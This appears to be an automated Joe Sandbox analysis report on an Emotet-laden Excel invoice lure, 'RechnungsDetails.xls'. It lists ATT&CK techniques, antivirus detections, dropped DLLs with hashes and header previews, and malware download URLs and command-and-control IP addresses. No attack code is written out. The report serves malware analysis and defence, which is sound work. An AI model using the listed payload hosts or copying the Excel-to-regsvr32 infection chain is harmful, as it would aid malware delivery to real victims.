External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Obfuscated Files or Information	Proc Filesystem	26 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Regsvr32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
RechnungsDetails.xls	42%	Virustotal		Browse
RechnungsDetails.xls	37%	ReversingLabs	Document-Excel.Trojan.Abracadabra

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr1.ocx	100%	Joe Sandbox ML
C:\Users\user\uxevr4.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr2.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	26%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	65%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	39%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	37%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	62%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr1.ocx	39%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr2.ocx	37%	Metadefender		Browse
C:\Users\user\uxevr2.ocx	62%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\uxevr4.ocx	26%	Metadefender		Browse
C:\Users\user\uxevr4.ocx	65%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\AQbqR\xhDhNsFFy.dll (copy)	26%	Metadefender		Browse
C:\Windows\System32\AQbqR\xhDhNsFFy.dll (copy)	65%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\FIdWcB\GulPp.dll (copy)	39%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll (copy)	37%	Metadefender		Browse
C:\Windows\System32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll (copy)	62%	ReversingLabs	Win64.Trojan.Emotet

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
elamurray.com	4%	Virustotal		Browse
jr-software-web.net	11%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://173.82.82.196:8080/	100%	URL Reputation	malware
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/	100%	Avira URL Cloud	malware
http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/	100%	Avira URL Cloud	malware
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/	100%	Avira URL Cloud	malware
https://173.82.82.196/	100%	URL Reputation	malware
https://173.82.82.196/(	100%	Avira URL Cloud	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://173.82.82.196/F	100%	Avira URL Cloud	malware
https://173.82.82.196:8080/J	100%	Avira URL Cloud	malware
http://ocsp.entrust.net0D	0%	URL Reputation	safe
https://173.82.82.196:8080/N	100%	Avira URL Cloud	malware
https://173.82.82.196:8080/0	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
elamurray.com	66.84.31.11	true	false	4%, Virustotal, Browse	unknown
jr-software-web.net	138.219.41.210	true	true	11%, Virustotal, Browse	unknown
masyuk.com	128.199.252.32	true	false		unknown
melisetotoaksesuar.com	212.98.224.29	true	false		unknown
www.melisetotoaksesuar.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/	true	Avira URL Cloud: malware	unknown
http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/	true	Avira URL Cloud: malware	unknown
http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://173.82.82.196:8080/	regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196/	regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://173.82.82.196/(	regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196/F	regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://173.82.82.196/f	regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://173.82.82.196:8080/J	regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196:8080/N	regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://173.82.82.196:8080/0	regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
128.199.252.32	masyuk.com	United Kingdom	14061	DIGITALOCEAN-ASNUS	false
173.82.82.196	unknown	United States	35916	MULTA-ASN1US	true
138.219.41.210	jr-software-web.net	Argentina	27823	DattateccomAR	true
212.98.224.29	melisetotoaksesuar.com	Turkey	15924	BORUSANTELEKOM-ASTR	false
66.84.31.11	elamurray.com	United States	17054	AS17054US	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	632061
Start date and time: 23/05/202208:58:56	2022-05-23 08:58:56 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	RechnungsDetails.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@16/15@4/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 51.4% (good quality ratio 33.7%) Quality average: 43.7% Quality standard deviation: 39.5%
HCA Information:	Successful, ratio: 96% Number of executed functions: 43 Number of non-executed functions: 246
Cookbook Comments:	Found application associated with file extension: .xls Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 173.222.108.226, 173.222.108.210
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:59:28	API Interceptor	2004x Sleep call for process: regsvr32.exe modified
09:00:02	API Interceptor	229x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
128.199.252.32	Address Changed.xls	Get hash	malicious	Browse	masyuk.com/581voyze/MlX/
	Form - May 17, 2022.lnk	Get hash	malicious	Browse	masyuk.com/581voyze/CS/
	PHG478286648WZ.lnk	Get hash	malicious	Browse	masyuk.com/581voyze/CS/
	Fattura numero 75325 del 17.05.lnk	Get hash	malicious	Browse	masyuk.com/581voyze/CS/
173.82.82.196	Rechnungskorrektur 2022.20.05_1305.lnk	Get hash	malicious	Browse
	Rechnungskorrektur.xls	Get hash	malicious	Browse
	RechnungsDetails 2022.20.05_1044.lnk	Get hash	malicious	Browse
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse
	melimar.com.xls	Get hash	malicious	Browse
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse
	qJhkILqiEA.dll	Get hash	malicious	Browse
	ySv9jlPYxN.dll	Get hash	malicious	Browse
	uDAHAlLDYG.dll	Get hash	malicious	Browse
	qJhkILqiEA.dll	Get hash	malicious	Browse
	kUXfb4ZQK4.dll	Get hash	malicious	Browse
	ySv9jlPYxN.dll	Get hash	malicious	Browse
	uDAHAlLDYG.dll	Get hash	malicious	Browse
	KzqzJLGI6e.dll	Get hash	malicious	Browse
	EVS7gcLnud.dll	Get hash	malicious	Browse
	kUXfb4ZQK4.dll	Get hash	malicious	Browse
	o2PJRbV77k.dll	Get hash	malicious	Browse
	EVS7gcLnud.dll	Get hash	malicious	Browse
	KzqzJLGI6e.dll	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
elamurray.com	Rechnungskorrektur.xls	Get hash	malicious	Browse	66.84.31.11
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	66.84.31.11
	Address Changed.xls	Get hash	malicious	Browse	66.84.31.11
masyuk.com	Rechnungskorrektur.xls	Get hash	malicious	Browse	128.199.252.32
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	128.199.252.32
	Address Changed.xls	Get hash	malicious	Browse	128.199.252.32
	Form - May 17, 2022.lnk	Get hash	malicious	Browse	128.199.252.32
	PHG478286648WZ.lnk	Get hash	malicious	Browse	128.199.252.32
	Fattura numero 75325 del 17.05.lnk	Get hash	malicious	Browse	128.199.252.32
jr-software-web.net	Rechnungskorrektur.xls	Get hash	malicious	Browse	138.219.41.210
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	138.219.41.210
	Address Changed.xls	Get hash	malicious	Browse	138.219.41.210

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALOCEAN-ASNUS	Rechnungskorrektur.xls	Get hash	malicious	Browse	128.199.252.32
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	128.199.252.32
	Swift copy.exe	Get hash	malicious	Browse	206.189.39.129
	melimar.com.xls	Get hash	malicious	Browse	159.203.19.2
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	159.203.19.2
	3vYbe1bYFd.dll	Get hash	malicious	Browse	165.22.73.229
	3vYbe1bYFd.dll	Get hash	malicious	Browse	165.22.73.229
	meerkat.arm7-20220522-2050	Get hash	malicious	Browse	5.101.107.84
	nZNmWqwnpr.dll	Get hash	malicious	Browse	165.22.73.229
	W3XqCWvDWC.dll	Get hash	malicious	Browse	165.22.73.229
	JtJ50Swtfo.dll	Get hash	malicious	Browse	165.22.73.229
	nZNmWqwnpr.dll	Get hash	malicious	Browse	165.22.73.229
	W3XqCWvDWC.dll	Get hash	malicious	Browse	165.22.73.229
	JtJ50Swtfo.dll	Get hash	malicious	Browse	165.22.73.229
	VUzZGNPCim.dll	Get hash	malicious	Browse	165.22.73.229
	ZWc3yi399O.dll	Get hash	malicious	Browse	165.22.73.229
	QK2fMdqsA1.dll	Get hash	malicious	Browse	165.22.73.229
	CVVgbFa04U.dll	Get hash	malicious	Browse	165.22.73.229
	HN8n4TeTGO.dll	Get hash	malicious	Browse	165.22.73.229
	VUzZGNPCim.dll	Get hash	malicious	Browse	165.22.73.229

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	Rechnungskorrektur.xls	Get hash	malicious	Browse	212.98.224.29
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	212.98.224.29
	melimar.com.xls	Get hash	malicious	Browse	212.98.224.29
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	212.98.224.29
	report 340.xls	Get hash	malicious	Browse	212.98.224.29
	info_1.xls	Get hash	malicious	Browse	212.98.224.29
	Facture_09.02.2022_V2.xlsb	Get hash	malicious	Browse	212.98.224.29
	Scan 69.xls	Get hash	malicious	Browse	212.98.224.29
	Address Changed.xls	Get hash	malicious	Browse	212.98.224.29
	10082376542717622006.xls	Get hash	malicious	Browse	212.98.224.29
	6691113204648532361.xls	Get hash	malicious	Browse	212.98.224.29
	E318709655.xls	Get hash	malicious	Browse	212.98.224.29
	OGgZVa2y3B.xls	Get hash	malicious	Browse	212.98.224.29
	E282497021.xls	Get hash	malicious	Browse	212.98.224.29
	E2992512590.xls	Get hash	malicious	Browse	212.98.224.29
	L1877777548.xls	Get hash	malicious	Browse	212.98.224.29
	SecuriteInfo.com.Exploit.Siggen3.32399.24702.xls	Get hash	malicious	Browse	212.98.224.29
	SecuriteInfo.com.Exploit.Siggen3.32401.11843.xls	Get hash	malicious	Browse	212.98.224.29
	SecuriteInfo.com.Exploit.Siggen3.32389.1290.xls	Get hash	malicious	Browse	212.98.224.29
	Contract - May 18, 2022 from Reliancecorp.xls	Get hash	malicious	Browse	212.98.224.29

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Rechnungskorrektur.xls	Get hash	malicious	Browse
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Rechnungskorrektur.xls	Get hash	malicious	Browse
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Rechnungskorrektur.xls	Get hash	malicious	Browse
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.115090845510302
Encrypted:	false
SSDEEP:	6:kKXqoJN+SkQlPlEGYRMY9z+4KlDA3RUesJ21:fEkPlE99SNxAhUesE1
MD5:	01DCC6674DA3F89459A924A435B41CCC
SHA1:	9D3C9D220B0BD1224DB3BECC7FE84D7D0B9850F5
SHA-256:	C7FE40BE3E008792FA454BD2551FEE2647C6396DED44BA39692D1ACD2FE67E39
SHA-512:	768D8609A273E8C1490E5FD1119A6ECD2E094962213F5B1D2A1DEC8FD17E762C68039E6A864B3E3388453046632AE1F790F02F77D83E0294212DE335A1FCE94A
Malicious:	false
Preview:	p...... ........Ws..n..(....................................................... ........3k/"[......(...........(...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.3.3.6.b.2.f.2.2.5.b.d.8.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	365056
Entropy (8bit):	7.158103111942775
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTD0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TeRIvgMSS3AyUrhYu3j
MD5:	DC718A4E9DA03BBC0673313CD6D7715C
SHA1:	C500D8F78D3EFFA575F7AD020513B2CDD96653DC
SHA-256:	67C21491D013E6DBE6E123530F6686010163E75EF3DF41CEEBF7601C78692434
SHA-512:	7053E6BCF2E6F8DDC51E4152993E86DFBA83E6DD0EE3476F77CD7DCB916ADAB611730DF1B5E936BE476C73DE5F2241BFF96CCE53697DE4693DBE943457785D0C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 65%
Joe Sandbox View:	Filename: Rechnungskorrektur.xls, Detection: malicious, Browse Filename: Rechnung 2022.20.05_1440.xls, Detection: malicious, Browse
IE Cache URL:	http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158100775230176
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTM0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3T1RIvgMSS3AyUrhYu3j
MD5:	3E28EC446EC996E82C1330164271ACDD
SHA1:	61FD8CCDFFDC93C3FE10D926524701E926499B8E
SHA-256:	8975189B8CB95CA5DC8EDAE1AC48C816A065467355B5C8678C6D9C0323C8F13B
SHA-512:	19864DF1260BF4DCCF22B84ACCB50D09C27D499582A2166F7B419B7FD5D16B2C31DF3E199009A449E38BAAAC853EDD8B3F60F0330176E316F032C645D6840090
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Joe Sandbox View:	Filename: Rechnungskorrektur.xls, Detection: malicious, Browse Filename: Rechnung 2022.20.05_1440.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	376320
Entropy (8bit):	7.110062137113599
Encrypted:	false
SSDEEP:	6144:3LAmffHSqTgEIUvQbPR7PzWtM8aoAVXywf1Ey3B86v/MUxo1/BwNPAtZZr:7AmffHcjSO7lrfyyR8Gm1/Sex
MD5:	290B5A7C7EEDF92605DDA68B9F61D6BC
SHA1:	B409CA9851FECCA61E6CB0AAAA56FDAAFC7242F5
SHA-256:	38B418029CB9E717604336AC6B2AF141A8549EFA0B7DA970CBEE4E0FA199A056
SHA-512:	4A0161841098D1C51536B21C0AC40970231478F98FFE2966E8A4DC8D58856669AA25593EF446B3DDA2556366B92D1C4DD892768F210F9B1C8C6E256C9F2B008D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 62%
Joe Sandbox View:	Filename: Rechnungskorrektur.xls, Detection: malicious, Browse Filename: Rechnung 2022.20.05_1440.xls, Detection: malicious, Browse
IE Cache URL:	http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S..................!................... ................................Rich...................PE..d.....b.........." .....`..........\|........................................ ............@.............................................r...$...P....p.......P..<....................................................................p.. ............................text...Z^.......`.................. ..`.rdata.......p.......d..............@..@.data....C..........................@....pdata..<....P......................@..@.rsrc........p......."..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cab3C9B.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
